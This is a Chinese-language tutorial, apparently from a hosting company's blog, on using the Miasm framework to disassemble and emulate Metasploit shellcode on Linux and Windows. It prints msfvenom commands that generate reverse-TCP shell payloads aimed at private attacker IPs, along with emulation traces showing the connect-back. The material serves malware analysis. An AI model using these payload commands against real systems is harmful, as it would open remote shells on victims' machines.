您好,登錄后才能下訂單哦!
這篇文章主要介紹“怎么使用Miasm分析Shellcode”,在日常操作中,相信很多人在怎么使用Miasm分析Shellcode問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么使用Miasm分析Shellcode”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
讓我們從Linux shellcode開始,因為它們不如Windows shellcode復雜。
msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1
讓我們用miasm反匯編shellcode:
from miasm.analysis.binary import Container from miasm.analysis.machine import Machine with open("sc_linux1", "rb") as f: buf = f.read() container = Container.from_string(buf) machine = Machine('x86_32') mdis = machine.dis_engine(container.bin_stream) mdis.follow_call = True # Follow calls mdis.dontdis_retcall = True # Don't disassemble after calls disasm = mdis.dis_multiblock(offset=0) print(disasm)
我們得到以下代碼:
loc_key_0 PUSH 0xB POP EAX CDQ PUSH EDX PUSHW 0x632D MOV EDI, ESP PUSH 0x68732F PUSH 0x6E69622F MOV EBX, ESP PUSH EDX CALL loc_key_1 ->c_to:loc_key_1 loc_key_1 PUSH EDI PUSH EBX MOV ECX, ESP INT 0x80 [SNIP]
這里沒有什么奇怪的,INT 0x80正在調用系統,并且系統調用代碼在第一行移至EAX,0xB是的代碼execve。我們可以CALL loc_key_1通過在指令地址+大小和的地址之間取數據來輕松獲得數據后的地址loc_key1:
> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0 > print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]]) b'/bin/ls\x00'
接下來我們再來一個更復雜的shellcode:
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2
該代碼中有條件跳轉,我們換成圖形化來閱讀:
from miasm.analysis.binary import Container from miasm.analysis.machine import Machine with open("sc_linux2", "rb") as f: buf = f.read() container = Container.from_string(buf) machine = Machine('x86_32') mdis = machine.dis_engine(container.bin_stream) mdis.follow_call = True # Follow calls mdis.dontdis_retcall = True # Don't disassemble after calls disasm = mdis.dis_multiblock(offset=0) open('bin_cfg.dot', 'w').write(disasm.dot())
要想從靜態就理解有點困難,因此讓我們看看是否可以使用miasm來模擬它。
模擬指令非常容易:
from miasm.analysis.machine import Machine from miasm.jitter.csts import PAGE_READ, PAGE_WRITE myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open('sc_linux2', 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) myjit.set_trace_log() myjit.run(run_addr)
Miasm模擬所有指令,直到我們到達第一個int 0x80調用為止:
40000000 PUSH 0xA EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0 40000002 POP ESI EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0 [SNIP] 40000010 INT 0x80 EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0 Traceback (most recent call last): File "linux1.py", line 11, in <module>myjit.run(run_addr) File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run return self.continue_run() File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run return next(self.run_iterator) File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once assert(self.get_exception() == 0) AssertionError
默認情況下,miasm計算機不執行系統調用,但是可以為該異常添加異常處理程序EXCEPT_INT_XX(EXCEPT_SYSCALL對于Linux x86_64)并自己實現。讓我們先打印系統調用號碼:
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX from miasm.analysis.machine import Machine def exception_int(jitter): print("Syscall: {}".format(jitter.cpu.EAX)) return True myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open('sc_linux2', 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) myjit.add_exception_handler(EXCEPT_INT_XX, exception_int) myjit.run(run_addr)
這給了我們系統調用:
Syscall: 102 Syscall: 102
在意識到miasm已經集成了多個syscall實現和使它們由虛擬機執行的方法之前,我開始重新實現 shellcode經常使用的一些syscall。我已經提交了一些額外的系統調用的PR,然后我們可以模擬shellcode:
myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open("sc_linux2", 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) log = logging.getLogger('syscalls') log.setLevel(logging.DEBUG) env = environment.LinuxEnvironment_x86_32() syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32) myjit.run(run_addr)
我們得到以下syscall跟蹤:
[DEBUG ]: socket(AF_INET, SOCK_STREAM, 0) [DEBUG ]: -> 3 [DEBUG ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102) [DEBUG ]: -> 0 [DEBUG ]: sys_mprotect(123f000, 1000, 7) [DEBUG ]: -> 0 [DEBUG ]: sys_read(3, 123ffe4, 24)
因此,使用miasm分析linux shellcode非常容易,您可以使用此腳本。
由于無法在Windows上對系統調用指令,因此Windows Shellcode需要使用共享庫中的函數,這需要使用LoadLibrary和GetProcAddress加載它們,后者首先需要在kernel32.dll DLL文件中找到這兩個函數地址。記憶。
讓我們用metasploit生成第一個shellcode:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f raw > sc_windows1
我們可以使用上面用于Linux的完全相同的代碼來生成調用圖:
在這里,我們看到了大多數shellcode用來獲取其自身地址的技巧之一,CALL就是將下一條指令的地址壓入堆棧,然后將其存儲在EBP中POP。因此CALL EBP,最后一條指令的,就是在第一次調用之后立即調用該指令。而且由于此處僅使用靜態分析,所以miasm無法知道EBP中的地址。
我們仍然可以在第一次調用后手動反匯編代碼:
inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first block next_addr = inst.offset + inst.l # offset + size of the instruction disasm = mdis.dis_multiblock(offset=next_addr) open('bin_cfg.dot', 'w').write(disasm.dot())
在這里,我們看到的shellcode首先通過以下尋找KERNEL32的地址PEB,PEB_LDR_DATA并LDR_DATA_TABLE_ENTRY在內存中的結構。讓我們模擬一下:
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE from miasm.analysis.machine import Machine def code_sentinelle(jitter): jitter.run = False jitter.pc = 0 return True myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open("sc_windows1", 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) myjit.set_trace_log() myjit.push_uint32_t(0x1337beef) myjit.add_breakpoint(0x1337beef, code_sentinelle) myjit.run(run_addr) 40000000 CLD EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0 40000001 CALL loc_40000088 EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0 40000088 POP EBP EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0 40000089 PUSH 0x3233 EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0 [SNIP] 4000000B MOV EDX, DWORD PTR FS:[EAX + 0x30] WARNING: address 0x30 is not mapped in virtual memory: Traceback (most recent call last): [SNIP] RuntimeError: Cannot find address
一直進行到到達為止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令從內存中的FS段獲取TEB結構地址。但是在這種情況下,miasm僅模擬代碼,而未在內存中加載任何系統段。為此,我們需要使用miasm的完整Windows Sandbox,但是這些VM僅運行PE文件,因此,我們首先使用簡短的腳本使用lief將shellcode轉換為完整的PE文件:
from lief import PE with open("sc_windows1", "rb") as f: data = f.read() binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32) section_text = PE.Section(".text") section_text.content = [c for c in data] # Take a list(int) section_text.virtual_address = 0x1000 section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT) binary32.optional_header.addressof_entrypoint = section_text.virtual_address builder = PE.Builder(binary32) builder.build_imports(True) builder.build() builder.write("sc_windows1.exe")
現在,讓我們使用一個miasm沙箱來運行此PE,該沙箱可以選擇use-windows-structs將Windows結構加載到內存中(請參見此處的代碼):
from miasm.analysis.sandbox import Sandbox_Win_x86_32 class Options(): def __init__(self): self.use_windows_structs = True self.jitter = "gcc" #self.singlestep = True self.usesegm = True self.load_hdr = True self.loadbasedll = True def __getattr__(self, name): return None options = Options() # Create sandbox sb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals()) sb.run() assert(sb.jitter.run is False)
該選項loadbasedll是基于名為的文件夾中的現有dll將DLL結構加載到內存中win_dll(您需要Windows x86_32 DLL)。執行后,出現以下崩潰:
[SNIP] [INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b [WARNING ]: warning adding .dll to modulename [WARNING ]: ws2_32.dll Traceback (most recent call last): File "windows4.py", line 18, in <module>sb.run() [SNIP] File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib raise ValueError('unknown api', hex(jitter.pc), repr(fname)) ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")
如果我們查看文件jitload.py,它實際上調用了在win_api_x86_32.py中實現的DLL函數,并且我們看到kernel32_LoadLibrary確實實現了該函數,但沒有實現WSAStartup,因此我們需要自己實現它。
Miasm實際上使用了一個非常聰明的技巧來簡化新庫的實現,沙盒接受附加功能的參數,默認情況下使用調用globals()。這意味著我們只需要在代碼中定義一個具有正確名稱的函數,它就可以直接作為系統函數使用。讓我們嘗試ws2_32_WSAStartup:
def ws2_32_WSAStartup(jitter): print("WSAStartup(wVersionRequired, lpWSAData)") ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"]) jitter.func_ret_stdcall(ret_ad, 0)
現在我們得到:
INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b [WARNING ]: warning adding .dll to modulename [WARNING ]: ws2_32.dll WSAStartup(wVersionRequired, lpWSAData) Traceback (most recent call last): [SNIP] File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib raise ValueError('unknown api', hex(jitter.pc), repr(fname)) ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")
我們可以繼續這種方式,并逐一實現shellcode調用的幾個函數:
def ws2_32_WSASocketA(jitter): """ SOCKET WSAAPI WSASocketA( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags ); """ ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"} TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"} PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"} ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"]) print("WSASocketA({}, {}, {}, ...)".format( ADDRESS_FAM[args.af], TYPES[args.type], PROTOCOLS[args.protocol] )) jitter.func_ret_stdcall(ret_ad, 14) def ws2_32_connect(jitter): ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"]) sockaddr = jitter.vm.get_mem(args.name, args.namelen) family = struct.unpack("H", sockaddr[0:2])[0] if family == 2: port = struct.unpack(">H", sockaddr[2:4])[0] ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])]) print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen)) else: print("connect()") jitter.func_ret_stdcall(ret_ad, 0) def kernel32_CreateProcessA(jitter): ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"]) jitter.func_ret_stdcall(ret_ad, 0) def kernel32_ExitProcess(jitter): ret_ad, args = jitter.func_args_stdcall(["uExitCode"]) jitter.func_ret_stdcall(ret_ad, 0) jitter.run = False
最后,我們對shellcode進行了完整的模擬:
[INFO ]: Add module 400000 'sc_windows1.exe' [INFO ]: Add module 7c900000 'ntdll.dll' [INFO ]: Add module 7c800000 'kernel32.dll' [INFO ]: Add module 7e410000 'use***.dll' [INFO ]: Add module 774e0000 'ole32.dll' [INFO ]: Add module 7e1e0000 'urlmon.dll' [INFO ]: Add module 71ab0000 'ws2_32.dll' [INFO ]: Add module 77dd0000 'advapi32.dll' [INFO ]: Add module 76bf0000 'psapi.dll' [INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b [WARNING ]: warning adding .dll to modulename [WARNING ]: ws2_32.dll WSAStartup(wVersionRequired, lpWSAData) [INFO ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab [INFO ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...) [INFO ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4 socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16) [INFO ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117 [INFO ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125 [INFO ]: kernel32_GetVersion() ret addr: 0x401131 [INFO ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144
到此,關于“怎么使用Miasm分析Shellcode”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。